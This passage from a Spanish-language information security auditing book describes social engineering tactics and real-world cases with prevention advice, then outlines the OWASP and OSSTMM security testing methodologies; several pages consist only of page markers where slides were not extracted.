redes sociales vienen cobrada relevancia al reproducir este tipo de amenazas
con supuestas imágenes o videos de personalidades famosas, que en realidad
terminan descargando todo tipo de malware.
Página 175 de 430

3. Marcas y eventos conocidos

Una de las prácticas más usuales es el aprovechamiento de la confianza que el
usuario tiene en alguna empresa o marca reconocida.
El uso de nombres de compañías u organizaciones no sólo se aplica al malware
adjunto a mensajes de correo electrónico, sino también en troyanos, phishing y
scam.
Una práctica altamente frecuente para la propagación de gusanos y otros
códigos maliciosos, tiene como base el envío de mensajes como si proviniesen
de una reconocida empresa de software, con información sobre una supuesta
vulnerabilidad y asegurando que el archivo adjunto o el enlace es un parche de
seguridad crítico.
En muchos de los casos de utilización de marcas, los creadores de códigos
maliciosos incluyen una leyenda al pie del correo electrónico informando que el
mismo ha sido analizado por algún antivirus reconocido y que está libre de
malware con el objetivo de darle una mayor credibilidad al mensaje. También
suelen registrarse casos en los que hay un aprovechamiento de eventos como
el mundial de fútbol, los juegos olímpicos o el Super Bowl estadounidense, por
mencionar algunos.
Muchos de estos mensajes, cuando son enviados masivamente a través del
correo electrónico, suelen estar armados en formato HTML o texto enriquecido,
incluyendo logos y el formato típico de la empresa u entidad organizadora del
evento.
En el caso del Scam y el phishing, la metodología es similar, diferenciándose en
que no se suelen incluir archivos adjuntos. Además, los mensajes creados para
favorecer el phishing suelen utilizar nombres de compañías relacionadas con el
ambiente financiero (bancos, tarjetas de crédito, etc.), sitios de Internet
reconocidos (como Google, Yahoo!, PayPal, eBay, etc.), compañías de telefonía
y muchas otras.
Dado que la mayoría de las empresas y organizaciones tienen políticas de uso
en las que explican que no enviarán mensajes de correo electrónico con archivos
adjuntos, los usuarios nunca deben hacer caso a este tipo de mensajes.
Conclusión
Los casos de Ingeniería Social son tan diversos como inabarcables. Este texto
no pretende desarrollarlos en su totalidad, sino informar a los usuarios sobre
algunas de las metodologías más frecuentes con las que se presenta.
Los nombres de figuras o empresas conocidas y las noticias de importancia
utilizadas para fraguar el engaño se actualizan constantemente, así como se
renuevan los temas a los que se recurre para generar confianza en el usuario.
El desconocimiento y la curiosidad son las vulnerabilidades que la Ingeniería
Social explota.
Página 176 de 430
Por eso es importante que los usuarios se informen y eduquen. No todo aquello
que es recibido por Internet, desde cualquier medio, es fidedigno y, si no fue
solicitado, hay grandes posibilidades de que se trate de un malware o de un
intento de engaño.
Paradójica y lamentablemente la vanidad humana no permite ver que el
hombre es el elemento permanente y más débil en todo sistema. El usuario
es el objetivo y el medio para acceder al equipo, por lo que es sumamente
importante la capacitación para entender que todo usuario es un eslabón en la
cadena de la seguridad.
Fuente de este artículo.
El arma infalible: la Ingeniería Social

Autor: Cristian Borghello, Technical & Educational Manager de ESET para Latinoamérica
Fecha: lunes 13 de abril del 2009.
Veamos algunos casos reales, como es aplicada la Ingeniería Social por sus
practicantes, para obtener interesantes beneficios económicos, que, aunque se
obtienen de forma ilegal, las víctimas, por los medios utilizados para su ejecución
y su desarrollo sufren las consecuencias, sin poder hacer nada por culpa de lo
que se conocen como vacíos legales, espacio que es aprovechados por estos
mal llamados ingenieros sociales.
1.- La Estafa Nigeriana
La Estafa Nigeriana, se lleva a cabo principalmente por correo electrónico no
solicitado. Adquiere su nombre del número de artículo del código penal de
Nigeria que viola, ya que buena parte de estas estafas provienen de ese país.
Si recibe algo de correo basura, con mucha seguridad ya debe haber recibido un
e-mail en inglés donde la explica que cierto funcionario que tiene acceso a unos
fondos acumulados pero que tiene problemas para efectuar él mismo la
operación, porque se trata de fondos secretos y como tiene que sacarlo de
Nigeria lo más rápido posible, entonces ofrece una compensación fuera de lo
común.
Los defraudadores profesionales ofrecen transferir millones de dólares a su
cuenta bancaria a cambio de un pequeño cargo. Si usted responde al
ofrecimiento inicial, es posible que reciba documentos que parecen ser oficiales.
Entonces, generalmente se le pide que provea los números de sus cuentas
bancarias y una serie de información de carácter privado para hacer efectivo el
traspaso.
Por increíble que parezca, en el año 2001 alrededor de 2.600 ciudadanos
fueron víctimas de esta estafa, con una pérdida de más de $300.000
dólares.
Página 177 de 430

2.- Robo de empleados:

Cierta empresa consideraba que todo el mundo allí era parte de la “familia” y que
no era necesario aplicar políticas de despido de empleados. Desgraciadamente
llegó el día de despedir a uno de los directivos de más alto rango de esta
empresa. El despido fue amigable y el directivo fue comprensivo. Una cosa que
la empresa hizo correctamente fue llevar el despido a la última hora de la jornada
para evitar el bochorno o cualquier tipo de distracción. Hubo un apretón de
manos y entonces el ex directivo hizo la fatídica pregunta: ¿Puedo tomarme una
hora para limpiar mi mesa y sacar algunas fotos personales del computador?
Al tener buenas sensaciones después de la reunión todos estuvieron
rápidamente de acuerdo y se fueron entre alegres sonrisas. Entonces el ex
directivo se fue a su despacho, empaquetó sus objetos personales, sacó las fotos
y otros datos de su computador, se conectó a la red y limpió el equivalente a 11
servidores en información: registros de contabilidad, nóminas, facturas, órdenes,
historiales, gráficos y mucho más, todo borrado en cuestión de minutos. El ex
directivo abandonó el edificio sin dejar pruebas de que él fue quien llevó a cabo
este ataque.
Un empleado descontento al que se deja actuar libremente puede ser más
devastador que un equipo de hackers decididos y experimentados. La pérdida
estimada sólo en empresas de Estados Unidos por robos de empleados es
del orden de 15.000 millones de dólares.
3.- Phishing.
Un ataque muy simple pero efectivo es engañar al usuario llevándolo a
pensar que un administrador del sistema le está pidiendo una contraseña
para propósitos legítimos. Quienes navegan en internet frecuentemente
reciben mensajes que solicitan contraseñas o información de su tarjeta de crédito
con el motivo de crear una cuenta, reactivar una configuración u otra operación
aparentemente inofensiva. A este tipo de ataques se lo llama phishing. Los
usuarios de estos sistemas deberían ser advertidos temprana y frecuentemente
para que no divulguen contraseñas u otra información sensible a personas que
dicen ser administradores.
4.- Spoofing:
Técnicas de suplantación de identidad en la red generalmente con usos
maliciosos. Por ejemplo, a fuerza de haber sufrido virus gracias a correos
engañosos, bloqueos de casillas a causa del spam y otras delicias, muchos
usuarios sólo chequean el correo electrónico proveniente de remitentes
conocidos y “seguros”. Esta (última) opción también se ve amenazada gracias al
spoofing, técnica que puede engañar a cualquier usuario enviando e-mails de
todo tipo (propaganda, agitación política, etc.) bajo la máscara de una dirección”
segura” de un remitente conocido.
Página 178 de 430

En este caso, alguien se apropia del nombre y la contraseña de una dirección de

correo y la utiliza para enviar correo masivo preferentemente a las personas que
no dudarían en abrir un mensaje proveniente de esa dirección (dato fácilmente
extraíble de la lista de correo).
Los distintos tipos de Ingenieros Sociales
La Ingeniería Social puede adoptar muchas formas. Como lo habíamos dicho
anteriormente, Puede ser maliciosa o amigable puede crear o destruir. Es por
ello que existen diferentes tipos de Ingenieros Sociales:
- Hackers.
- Probadores de seguridad.
- Espías.
- Ladrones de identidad.
- Empleados descontentos.
- Artistas del timo.
- Agentes de recursos humanos.
- Vendedores.
- Gobiernos: No siempre son vistos como Ingenieros Sociales, pero los
gobiernos utilizan la Ingeniería Social para controlar el mensaje que envían a las
personas que gobiernan.
- Médicos, Psicólogos, Abogados.
Parece que se puede encontrar la Ingeniería Social o algún aspecto de ella en
cualquier campo. Por eso, se sostiene firmemente que la Ingeniería Social es
una ciencia.
Caso:
“En una ocasión arrendé un auto para hacer un viaje de negocios. Mi
acompañante y yo cargamos nuestro equipaje en el maletero; cuando entramos
en el auto reparamos en una pequeña bolsa de basura que había atrás. La
persona que iba conmigo dijo: Este servicio va de mal en peor. Se supone que
por lo que pagamos podrían al menos limpiar el coche.
Es cierto, sería lógico, pero antes de que tirara la bolsa al basurero más cercano,
dije: Déjame echar un vistazo rápido. Cuando abrí la bolsa y aparté los
envoltorios lo que encontré allí, me pareció a simple vista impactante: era la
mitad de un cheque partido. Inmediatamente volqué el contenido de la bolsa y
encontré un recibo del banco y la otra mitad del cheque. Una vez pegado con
cinta, el cheque revelaba el nombre de la persona, la empresa, su número de
teléfono, número de cuenta bancaria y el código de identificación bancaria. Por
suerte para el propietario de estos datos, no soy una mala persona porque sólo
se necesitan un par de pasos más para cometer un robo de identidad.
Página 179 de 430

Esta historia personifica la relación que tiene la gente con su información valiosa.
Esta persona que arrendó el auto antes que yo y después, al tirar el cheque,
estaba convencido de que lo que había hecho desaparecer de forma segura.
Fuentes de Recopilación de Información.
1.- Recopilar Información de los sitios web.
Los sitios web personales o corporativos pueden proporcionar una gran cantidad
de información. Lo primero que hará normalmente un buen Ingeniero Social es
reunir todos los datos que pueda del sitio web de la persona o de la empresa.
Hay que dedicarle tiempo para no ofrecer información que puedas ser utilizada
contra nosotros mismo y para ello hay que dedicarle tiempo a verificar que no
ofrecemos más información de la estrictamente necesaria a cerca de:
- Lo que hacen.
- Los productos y servicios que ofrecen.
- Las localizaciones físicas.
- Las ofertas de puestos de trabajo
- Los números de contacto.
- Las biografías de los ejecutivos o del consejo administrativo.
- El foro de apoyo.
- La nomenclatura de los correos electrónicos.
- Palabras o frases especiales que pueden ayudar a determinar contraseñas.
2.- Servidores Públicos.
Los servidores públicos de una empresa también son buenas fuentes de la
información que sus sitios web no proporcionan.
Las direcciones IP pueden decir si los servidores están alojados localmente o
con un proveedor, con los registros de DNS puede determinar nombres y
funciones de servidores y direcciones IP.
3.- Redes Sociales.
Muchas empresas han empezado a interesarse por las redes sociales. Es
publicidad barata que llega a un gran número de clientes potenciales. También
es una nueva corriente de información de una empresa que puede proporcionar
algunos datos útiles.
Caso:
El presidente de Hewlett- Packard reveló más que su jerarquía laboral cuando
mencionó la iniciativa de almacenamiento en la web de la firma fabricante de
computadoras en su perfil de LinkedIn.
Página 180 de 430

En un descuido, alertó a sus competidores sobre detalles que no se habían

difundido antes respecto de los servicios de cloud computing de la marca”. La
información se retiró más tarde, si bien no antes de que los rivales pudieran ver
los planes.
Conforme los empleados brindan más información online sobre su vida,
desde actualizaciones sobre su situación, controles de ubicación y
cambios en el currículum, los empleadores corren más riesgos de que los
competidores observen todos sus movimientos.
En una encuesta de Forrester Research del año pasado entre más de 150
compañías que monitorean medios sociales, más del 82% expresó que
usaba esos datos para inteligencia competitiva.
4.- Sitios de usuarios blogs y otros
Los sitios de usuarios como los blogs, wikis y videos online, no solo pueden
proporcionar información sobre la empresa objetivo, sino que también ofrecen
una conexión más personal a través del contenido subido por el usuario. Un
empleado descontento que está hablando en su blog, sobre sus problemas en la
empresa, puede ser susceptible de compartir información privilegiada que
cualquiera puede ver y leer.
Un buen ejemplo es esta web www.icanstalku.com Al contrario de lo que indica
su nombre “puedo acosarte”, no anima a la gente a acosar a otros. Este sitio
pone de manifiesto el total descuido de muchos usuarios de Twitter. Rastrea el
sitio de Twitter y busca usuarios que son tan imprudentes como para colgar fotos
hechas con sus teléfonos Smartphone. Mucha gente no sabe que la mayoría de
los Smartphone incrustan datos de localización en sus fotos. Cuando un usuario
cuelga una foto en la web con esta información incrustada, puede conducir a una
persona hasta su localización.
Fuente de este artículo: BSC Consultores.
El arte de engañar.
Algunas conclusiones interesantes que debemos tener presente, para mantener
concienciados y formados e informados, a todos los participantes en el proyecto
de protección de la información.
La ingeniería social se basa en estos cuatro principios:
1. TODOS QUEREMOS AYUDAR.
2. EL PRIMER MOVIMIENTO ES SIEMPRE DE CONFIANZA HACIA EL OTRO.
3. NO NOS GUSTA DECIR NO.
4. A TODOS NOS GUSTA QUE NOS ALABEN.
En una gran medida la Ingeniería Social, sobrevive gracias a todo que le hemos
citado anteriormente y en una gran medida a que las organizaciones, tanto el
área de recursos humanos, como el área de asuntos legales, no mantienen un
Página 181 de 430

nexo continuo ni con el área de seguridad física, ni tampoco con el área de

seguridad lógica (control de accesos), por lo que existe una brecha continúa
debida a un desfase por desidia, entre todos los implicados, mantener los niveles
de estanqueidad, al máximo.
Por ello existente metodologías y procedimientos que se han creado para lograr
este objetivo, si bien no debemos olvidar que, si bien podemos mantener la
estanqueidad al máximo, dentro de la información de la empresa, esto no ocurre
en el ámbito de la información personal, que se expone a través de las mal
llamadas Redes Sociales, que son en muchos casos la principal fuente por
donde se pueden encontrar los datos necesarios para quebrar los mejores
sistemas de seguridad. Vemos que medidas deberíamos aplicar para minimizar
el efecto de la Ingeniería Social, sobre nuestra seguridad como empresa.
Extraído de una presentación sobre la Ingeniería del Doctor Luis Castellanos.
 Educar a las personas, en concreto a las personas que trabajan cerca de
las terminales, desde los operarios, hasta personal de limpieza.
 Antes de abrir los correos analizarlos con un antivirus eficaz y
debidamente actualizado, ya que cualquier mensaje de correo electrónico
puede contener códigos maliciosos, aunque no le acompañe el símbolo
de datos adjuntos.
 Nunca ejecutar un programa de procedencia desconocida, aun cuando
previamente sea verificado que no contiene virus. Dicho programa puede
contener un troyano o un sniffer que reenvíe nuestra clave de acceso.
 No informar telefónicamente de las características técnicas de la red, ni
nombre de personal a cargo, etc. En su lugar lo propio es remitirlos
directamente al responsable del sistema.
 Asegurar un control de acceso físico al sitio donde se encuentra los
ordenadores.
 Establecer políticas de seguridad a nivel de Sistema Operativo.
 Los usuarios no necesitan tener acceso a todo tipo de archivos o ficheros
ya que no todos son necesarios para su trabajo habitual, por ello puede
ser conveniente por parte del administrador bloquear la entrada de
archivos o ficheros con extensiones ".exe",".vbs", etc.
 Nunca tirar documentación técnica ni sensible a la basura, sino destruirla.
 No revelar información personal por correo electrónico ni en línea a menos
que sepa por qué motivo debe hacerlo y conozca a su interlocutor.
Asegúrese además de que se encuentra en un entorno seguro: es
esencial para ayudarle a evitar cualquier tipo de ataque.
 Verificar previamente la veracidad de la fuente que solicite cualquier
información sobre la red, su localización en tiempo y espacio y las
personas que se encuentran al frente de la misma.
 En caso de existir, instalar los parches de actualización de software que
publican las compañías para solucionar vulnerabilidades. De esta manera
se puede hacer frente a los efectos que puede provocar la ejecución de
archivos con códigos maliciosos.
Página 182 de 430

 No colocar datos personales completos, ni profusión de imágenes en los

portales de las Redes Sociales
 Restringir la privacidad de los perfiles en las Redes Sociales, para sólo
puedan ser vistos por los amigos
 Antes de aceptar un amigo en una Red Social, confirmar que es real, que
es conocido, y que es de fiar.
 Utilizar contraseñas seguras, evitando fechas de nacimiento, nombres
propios, nombres de los hijos(as) o de las mascotas, nombres del
cónyuge.
 Evitar en lo posible el uso de redes P2P (redes para compartir archivos)
como eMule, Kazaa, Limewire, Ares, Imesh o Gnutella porque
generalmente están desprotegidos de troyanos y virus en general y éstos
se expanden utilizándolas libremente para alcanzar a nuevos usuarios a
los que infectar de forma especialmente sencilla.
Por ello existe OWASP (acrónimo de Open Web Application Security Project,
en inglés ‘Proyecto abierto de seguridad de aplicaciones web’) es un proyecto
de código abierto dedicado a determinar y combatir las causas que hacen que
el software sea inseguro.
La Fundación OWASP es un organismo sin ánimo de lucro que apoya y gestiona
los proyectos e infraestructura de OWASP. La comunidad OWASP está formada
por empresas, organizaciones educativas y particulares de todo mundo. Juntos
constituyen una comunidad de seguridad informática que trabaja para crear
artículos, metodologías, documentación, herramientas y tecnologías que se
liberan y pueden ser usadas gratuitamente por cualquiera.
OWASP es un nuevo tipo de entidad en el mercado de seguridad informática.
Estar libre de presiones corporativas facilita que OWASP proporcione
información imparcial, práctica y redituable sobre seguridad de aplicaciones
informáticas. OWASP no está afiliado a ninguna compañía tecnológica, si bien
apoya el uso informado de tecnologías de seguridad. OWASP recomienda
enfocar la seguridad de aplicaciones informáticas considerando todas sus
dimensiones: personas, procesos y tecnologías.
Los documentos con más éxito de OWASP incluyen la Guía OWASP y el
ampliamente adoptado documento de autoevaluación OWASP Top 10. Las
herramientas OWASP más usadas incluyen el entorno de formación WebGoat,
la herramienta de pruebas de penetración WebScarab y las utilidades de
seguridad para entornos .NET OWASP DotNet. OWASP cuenta con unos 50
capítulos locales por todo el mundo y miles de participantes en las listas de
correo del proyecto.
OWASP ha organizado la serie de conferencias AppSec para mejorar la
construcción de la comunidad de seguridad de aplicaciones web. Veamos ahora
de manera gráfica como entiende OWASP la seguridad aplicada a la fabricación
de software como factoría industrial.
Para respetar las obligaciones legales por supuesto la primera diapositiva es citar
la fuente.
Página 183 de 430

Página 184 de 430

Algunos de los factores anteriores, tienen relación con otros campos del
conocimiento y de la conducta del ser humano, que no tienen ningún tipo de
relación con la tecnología de forma directa o indirecta tiene que ver con conflictos
de poder organizacional.
Página 185 de 430

Página 186 de 430

Página 187 de 430

Página 188 de 430

Página 189 de 430

Página 190 de 430

Página 191 de 430

Página 192 de 430

Volviendo a los conflictos de poder organizacional y la generación de inseguridad

que ello supone debemos de tener presente, lo que muestra la siguiente figura
Página 193 de 430

En la realidad la flecha de la derecha esta invertida, pues según las teorías

modernas de la organización y de las nuevas tendencias de gestión, los jefes,
coordinadores y profesionales de la tecnología, son los responsables últimos de
evitar las brechas que continuamente, se abren desde la parte superior de la
pirámide, pues el beneficio justifica casi cualquier cosa, es la evolución del
principio del maquiavelismo, de hecho muchas fugas de información, como
hemos comentado y documentado en las páginas anteriores por experiencias
previa, son fruto de la exposición de informaciones sensibles en páginas dentro
de redes sociales.
Por ello, toda la infraestructura de protección es inútil si no educamos a todas las
personas con independencia de estatus jerárquico, que desempeñen dentro de
cualquier organización, no lograremos garantizar la seguridad de la
infraestructura física y lógica de cualquier empresa. Tras haber conocido un poco
mejor quizás la mayor de todas las amenazas, a las que se enfrenta todos los
sistemas tecnológicos, pasemos a conocer como efectuar una auditoria web, ya
que la internet forma parte del tejido empresarial de cualquier organización.
El entorno de desarrollo focalizado hacia Internet, por ende las aplicaciones
Web, sufre continuos cambios, que van desde la aparición de nuevos lenguajes
y herramientas, que cada vez requieren menores conocimientos de
programación base y mayores conocimientos de ingeniería de negocio, de un
lado, del otro lado el acceso que millones de personas tienen a esos mismos
lenguajes y herramientas de programación que buscan obtener dinero fácil
aplicando ingeniería social y eludiendo las actuaciones de las fuerzas policiales
y de la justicia, trasgrediendo las fronteras tradicionales.
Página 194 de 430

Por ello los profesionales de seguridad conscientes, que cada vez más, que
Internet representa y es el mercado y en consecuencia supone un incremento
continuo de la inseguridad, han llevado a organizaciones independientes de las
tradicionales como son la ISO / ANSI / NIST a desarrollar una metodología
específica, para intentar controlar y mitigar los riesgos que implica trabajar en un
entorno en constante evolución a velocidad del aire de un tornado. Por eso
OWASP es un gran proyecto y es el complemento perfecto de la normativa ISO
/ NIST y facilita todas las pautas y herramientas, para implantar un ciclo continuo
de auditoria. OWASP tiene un complemento perfecto que es una metodología
conocida bajo las siglas de OISSG que esta específicamente orientada a los
activos y su relación con los procesos de gestión basados en diversas
tecnologías a través de las diferentes tecnologías de red.
Página 195 de 430

Capítulo 23.
Las metodologías OWASP / OSSTMM soporte para la verificación

de la normativa.
OWASP es la metodología orientada a evaluar la seguridad de nuestros
proyectos Web, por tanto, es el tipo de auditoria que nos falta por conocer y
también veremos en el siguiente capítulo, un resumen de la metodología OISSG
con lo que se cerraría el ciclo y volveríamos de nuevo a situarnos en el punto de
partida para volver a evaluar. Para conocer tras la aplicación de las nuevas
contramedidas de Hardware y Software, cómo ha evolucionado nuestro nivel de
seguridad respecto al punto anterior, cuando comenzamos el proyecto de
auditoria de certificación / acreditación / alineamiento.
OWASP tiene un atractivo especial y consiste en lo siguiente, si su empresa es
una empresa pequeña o mediana y sus área de sistema, en particular tanto la
que gestiona y monitoriza la operativa diaria, como su área de desarrollo, ya sea
esta interna o externa, y todo se orienta hacia Internet es importante conocer
cuáles son las brechas que debemos buscar y erradicar de nuestras aplicaciones
Web, lo antes posible y verificar que las mismas no están presentes en nuestro
actuales desarrollos por ello, efectúan una publicación que resumen cuales son
dichas brechas y sobre que debemos focalizar nuestra supervisión para lograr
mejorar nuestra seguridad, reduciendo en la medida de lo posible, las amenazas
a las conocidas como amenazas del tipo Dia0.
Además de presentar las nuevas amenazas las mismas están clasificada por
frecuencia en la que parecen y algunas que incluso se fusionan, ya que suelen
aparecer juntas, en la mayoría de los casos.
Página 196 de 430

Página 197 de 430

Además ofrece enlaces adicionales a otro tipos de amenazas, que aunque

presentan menor frecuencia, no por ello deben ser ignoradas, por lo que junto
con los servicios CERT-SI de alerta temprana sobre los que hablaremos un poco
más adelante dentro de este mismo capítulo, podemos conocer cuáles son las
amenazas reales que nos acechan, lo que supone reducir de forma importante
el riesgo o el conjunto de estos para nuestra organización.
Página 198 de 430

Más ejemplos de OWASP no informa sobre que debe focalizar nuestra atención.
Página 199 de 430

Muchas veces las organizaciones, se

exponen a riesgos de forma innecesaria, al
buscar reducciones de costes, que llevan al
uso de componentes con importantes o
graves vulnerabilidades, lo que equivaldría a
dejar abierta la puerta de la cámara
acorazada.
Página 200 de 430

Además de toda la información, ya comentada que supone un importante ahorro

de tiempo, en consecuencia ahorro de costes y lo más importante con importante
incremento de la seguridad, lo que se traduce un incremento de calidad, que a
su vez se traduce en menor tiempo de monitorización dedicado a este tipo de
aplicaciones, al menos las desarrollada bajo este modelo, al auto auditarse
Página 201 de 430

queda aún pendiente el tema de las aplicaciones construidas, sin este patrón
que requerirán en muchos casos, del uso de ingeniería inversa para detectar sus
vulnerabilidades, bien sea de producto, de código fuente, como las que
acabamos de exponer o bien una mezcla de ambas. También debemos prestar
atención a los siguientes aspectos, que se detallan en las sucesivas páginas.
Página 202 de 430

Página 203 de 430

Este problema siendo grave, no sólo afecta a los sistemas de gestión afecta
mucho y en gran manera a sistemas industriales, que forman parte de las
llamadas infraestructuras críticas, con lo que ello supone estamos hablando de
sistemas de energía (electricidad, petróleo, gas) sistemas de
telecomunicaciones, sistemas de control de plantas químicas y así hasta un total
de 11 sectores, denominados críticos por las implicaciones que para la población
general tienen, por ello se debe prestar especial atención a estos sistemas, que
se gestionan utilizando infraestructuras públicas (redes de comunicaciones)
modificando los parámetros originales de funcionamiento y utilizando protocolos
Página 204 de 430

seguros y enmascaramiento criptográfico, para garantizar la integridad y la

confiabilidad de la información, ya que la disponibilidad está relativamente
garantizada.
Página 205 de 430

Un problema que tiene el mismo nivel de gravedad que el anterior, no olvidemos

que un empleo descontento, ha podido crear varias puertas traseras a través de
la configuración o bien que ha insertado en el código fuente de uno o varios
programas, varias puertas traseras, para actuaciones de emergencia, por ello es
tanto importante hacer revisiones tanto a nivel del código de programación, como
en el código de configuración de las aplicaciones, para garantizar que dichas
puertas no existen.
Página 206 de 430

Este es un problema que no es sencillo resolver, puesto que en una gran medida
debemos establecer dos niveles de seguridad un nivel de seguridad a través del
Sistema Operativo de Red y un segundo nivel de seguridad ya en el Sistema
Operativo del Cliente / Dispositivo y el problema estriba en la correcta
sincronización. Este un problema que se resuelve mediante el uso del protocolo
NTP.
Página 207 de 430

Este problema ya fue expuesto en su momento, no siempre migrar garantizar

una mejora de seguridad importante, otra cuestión es si esa mejora de seguridad
afecta algún componente crítico del negocio, en ese caso se deberá evaluar con
sumo cuidado lo que la mejora implica o supone.
Este desde luego no es un problema menor, la confidencialidad de ciertos tipos

de datos, no tiene precio y sus implicaciones jurídicas, así como económicas
pueden llegar a ser muy severas, por no mencionar el tiempo, y esfuerzo
económico que supone restaurar y sin garantías de éxito, una reputación dañada
Página 208 de 430
por lo que se recomienda extremar las medidas de seguridad, tanto en las

comunicaciones, utilizando protocolos seguros, así como reforzar los
mecanismos de cifrado / descifrado durante las sesiones de las aplicaciones que
acceden a este tipo de información.
Página 209 de 430

Esto es algo muy habitual en internet y el re-direccionamiento hacia páginas, que

pueden instalar en forma silenciosa aplicaciones tipo keylogger, con la cuales
capturar las credenciales de usuarios y sus contraseñas y acceder desde sitios
no autorizados, por lo que hay que intentar en la medida de lo posible evitar que
esto ocurra, para ello se deben utilizar todas las soluciones posibles, como son
los proxys, además de los firewalls y los ids/ips más avanzados con la finalidad
de poder analizar esos códigos y bloquearlos, informando a quien sea
competente en la materia para tomar medidas técnicas y legales si fueran
aplicables.
Hay aspecto de esta metodología, que resultan en extremo útiles para el Auditor
aplicados a las auditorias de tipo Desarrollo y Base de Datos, sobre todo porqué
mientras en las zonas internas el tráfico, está controlado y monitorizado, todo lo
que proviene de Internet no lo está en la misma medida que el tráfico interno y
debido a las lagunas y vacíos legales existentes, tanto en derecho romano como
en el sajón, resulta muy complejo probar la existencia de delitos más allá de la
denominada duda razonable, por lo que debemos extremar las precauciones con
todo tipo de contenidos. Por ello esta metodología en realidad es un conjunto de
técnicas de penetración que nos permiten conocer de manera aproximada en
grado de desarrollo se encuentra nuestra seguridad respecto a las amenazas
existentes en Internet.
Con la publicación de la versión 4 de su guía de pruebas OWASP, establece un
marco completo de trabajo, que ayuda a los desarrolladores a crear código web
seguro, teniendo muy presente todo lo relativo a las inyecciones SQL, por ser
una de las técnicas más habituales de ataque en los últimos años, también vimos
que las Bases de Datos, son unos de los objetivos favoritos de los hackers y
crawlers debido si valor propio que tiene la información en sí misma. Hay que
tener presente que OWASP es ante todo una metodología y un marco de trabajo
orientado a pruebas en un entorno hostil “Internet” de ahí su visión del ciclo de
vida de desarrollo SDLC.
Página 210 de 430

Como se puede observar la definición y el diseño, ocupan una gran parte del
ciclo de vida, ya que la seguridad está presente desde la definición y dado que
se ha de tener todo lo anteriormente señalado presente, con el fin de reducir a la
mínima expresión el número de factores externos, que pueden afectar a una
aplicación y en especial si es parte de una estructura critica o bien si está
considerada como elemento crítico, dentro de un informe de análisis de impacto
como ya vimos anteriormente al hablar de los riesgos.
Uno de los mayores problemas a los que se enfrentan los desarrolladores es el
uso correcto de uno varios de los mecanismos disponibles de autenticación de
los usuarios, especialmente si acceden a datos sensibles, por ello se deben de
incluir no sólo mecanismos de programación y de control de accesos desde el
motor de la base de datos, sino que además podemos incluir protocolos
específicos de autenticación y servidores diseñados expresamente para ello,
además de incluir procesos de encriptado y desencriptado.
Página 211 de 430

Hemos descrito que OWASP, es un marco de trabajo especializado y orientado

a desarrollo Web y verificación de los niveles de seguridad que la Web contempla
por lo que mostramos el flujo de trabajo de OWASP, esto no sustituye, ni suprime
la lectura y la formación específica en esta metodología, hemos querido poner
en conocimiento de los lectores no especializados, que existe tanto la
metodología, como las herramientas asociadas y que la consideramos una pieza
esencial de una buena práctica, a la hora de auditar para lograr una certificación
ISO 27001. Lo que se debe tener presente es que, aunque sólo está enfocada
desde el origen a proyectos software tipo Web, dada la dinámica de un entorno
tan colaborativo para bien o para mal, una auditoria de gestión de la seguridad
de la información, no estaría completa, sin el uso, aunque sea mínimo de esta
metodología, cuyo flujo de trabajo exponemos en la página siguiente y su encaje
en otra metodología más general conocida como OSSTM.
Página 212 de 430

¿Qué es OSSTMM?
OSSTMM es un manual de metodologías para pruebas y análisis de seguridad
realizado siguiendo la metodología OML (Open Methodology License) siendo el
manual en sí publicado bajo licencia Creative Commons 3.0, lo cual permite el
libre uso y distribución del mismo.
Como proyecto de Software Libre, permite a cualquier analista de seguridad
contribuir a la mejora del manual lo cual, además, garantiza unas pruebas de
seguridad más certeras, eficientes y procesables.
La metodología OSSTMM se centra en los detalles técnicos de los elementos
que necesitan ser comprobados, qué hacer antes, durante y después de las
pruebas de seguridad, así como evaluar los resultados obtenidos. Las pruebas
que recoge el manual incluyen todos los canales de operación: Humanos, físicos,
wireless, telecomunicaciones, y redes de datos.
¿Quién publica OSSTMM?
El manual se encuentra realizado por ISECOM (Institute for Security and Open
Methodologies), una organización sin ánimo de lucro de dedicada al desarrollo
de metodologías de libre utilización para la verificación de la seguridad, la
programación segura, la verificación de software y la concientización en
seguridad. ISECOM se encuentra dirigida por Pete Herzog y Marta Barceló
Página 213 de 430

Jordan y se encuentra respaldada por un amplio número de expertos de

seguridad por todo el mundo.
OSSTMM es el proyecto más destacado de ISECOM, sin embargo, esta
organización realiza y mantiene otros como son:
SCARE: The Source Code Analysis and Risk Evaluation
Child Safety and Security Methodology: Una metodología para enseñar
seguridad a los niños a través de juegos e historias.
Home Security Methodology: Metodología para mantener seguros los hogares y
mantenerlos a salvo de posibles amenazas.
National Security Methodology: Definición de políticas y metodologías para
mejorar la seguridad nacional.
Un breve vistazo a OSSTMM
El OSSTMM por sus siglas en ingles “Open Source Security Testing Methodology
Manual” o “Manual de la Metodología Abierta del Testeo de Seguridad” tal como
fuera nombrada oficialmente su versión en español, es uno de los estándares
profesionales más completos y comúnmente utilizados a la hora de revisar la
Seguridad de los Sistemas y se encuentra en constante desarrollo, actualmente
se compone de las siguientes secciones:
Sección A -Seguridad de la Información
1. Revisión de la Inteligencia Competitiva

2. Revisión de Privacidad
3. Recolección de Documentos
Sección B – Seguridad de los Procesos
1. Testeo de Solicitud
2. Testeo de Sugerencia Dirigida
3. Testeo de las Personas Confiables
Sección C – Seguridad en las tecnologías de Internet
1. Logística y Controles
2. Exploración de Red
Página 214 de 430

3. Identificación de los Servicios del Sistema

4. Búsqueda de Información Competitiva
6. Obtención de Documentos
7. Búsqueda y Verificación de Vulnerabilidades
8. Testeo de Aplicaciones de Internet
9. Enrutamiento
10. Testeo de Sistemas Confiados
11. Testeo de Control de Acceso
12. Testeo de Sistema de Detección de Intrusos
13. Testeo de Medidas de Contingencia
14. Descifrado de Contraseñas
15. Testeo de Denegación de Servicios
16. Evaluación de Políticas de Seguridad
Sección D – Seguridad en las Comunicaciones
1. Testeo de PBX
2. Testeo del Correo de Voz
3. Revisión del FAX
4. Testeo del Modem
Sección E – Seguridad Inalámbrica
1. Verificación de Radiación Electromagnética (EMR)

2. Verificación de Redes Inalámbricas [802.11]
3. Verificación de Redes Bluetooth
4. Verificación de Dispositivos de Entrada Inalámbricos
5. Verificación de Dispositivos de Mano Inalámbricos
6. Verificación de Comunicaciones sin Cable
Página 215 de 430

7. Verificación de Dispositivos de Vigilancia Inalámbricos

8. Verificación de Dispositivos de Transacción Inalámbricos
9. Verficación de RFID
10. Verificación de Sistemas Infrarrojos
Sección F – Seguridad Física
1. Revisión de Perímetro
2. Revisión de monitoreo
3. Evaluación de Controles de Acceso
4. Revisión de Respuesta de Alarmas
5. Revisión de Ubicación
Página 216 de 430

Capítulo 24
OSSTM versión 3 :
2010.
Metodología de Testeo de
Código Abierto.
